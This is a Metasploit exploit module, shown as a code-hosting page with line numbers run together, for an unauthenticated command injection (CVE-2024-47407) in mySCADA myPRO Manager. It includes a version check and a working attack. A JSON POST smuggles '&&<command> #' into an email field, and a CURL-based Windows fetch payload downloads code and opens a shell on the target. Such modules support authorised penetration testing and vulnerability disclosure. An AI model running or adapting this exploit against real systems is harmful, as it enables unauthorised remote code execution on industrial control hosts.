Path: blob/master/modules/exploits/windows/scada/mypro_mgr_cmd.rb
32559 views
class MetasploitModule < Msf::Exploit::Remote1Rank = ExcellentRanking2include Msf::Exploit::Remote::HttpClient3prepend Msf::Exploit::Remote::AutoCheck45def initialize(info = {})6super(7update_info(8info,9'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',10'Description' => %q{11Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.12The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.13},14'License' => MSF_LICENSE,15'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module16'References' => [17[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],18[ 'CVE', '2024-47407']19],20'DisclosureDate' => '2024-11-21',21'DefaultOptions' => {22'RPORT' => 34022,23'SSL' => false24},25'Platform' => 'win',26'Targets' => [27[28'Windows_Fetch',29{30'Arch' => [ ARCH_CMD ],31'Platform' => 'win',32'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },33'Type' => :win_fetch34}35]36],37'DefaultTarget' => 0,3839'Notes' => {40'Stability' => [CRASH_SAFE],41'Reliability' => [REPEATABLE_SESSION],42'SideEffects' => [IOC_IN_LOGS]43}44)45)4647register_options(48[49OptString.new(50'TARGETURI',51[ true, 'The URI for the MyPRO Manager web interface', '/' ]52)53]54)55end5657def check58begin59res = send_request_cgi({60'method' => 'GET',61'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')62})63rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError64return CheckCode::Unknown65end6667if res.to_s =~ /const v="([^"]+)"/68version = ::Regexp.last_match(1)69vprint_status('Version retrieved: ' + version)70if Rex::Version.new(version) <= Rex::Version.new('1.2')71return CheckCode::Appears72end7374return CheckCode::Safe75end76return CheckCode::Unknown77end7879def exploit80execute_command(payload.encoded)81end8283def execute_command(cmd)84exec_mypro_mgr(cmd)85print_status('Exploit finished, check thy shell.')86end8788def exec_mypro_mgr(cmd)89post_data = {90'command' => 'testEmail',91'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"92}9394res = send_request_cgi({95'method' => 'POST',96'ctype' => 'application/json',97'data' => JSON.generate(post_data),98'uri' => normalize_uri(target_uri.path, 'get')99})100101if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.102print_good('Command successfully executed, check your shell.')103else104print_error('Unexpected or no reply received.')105end106end107108end109110111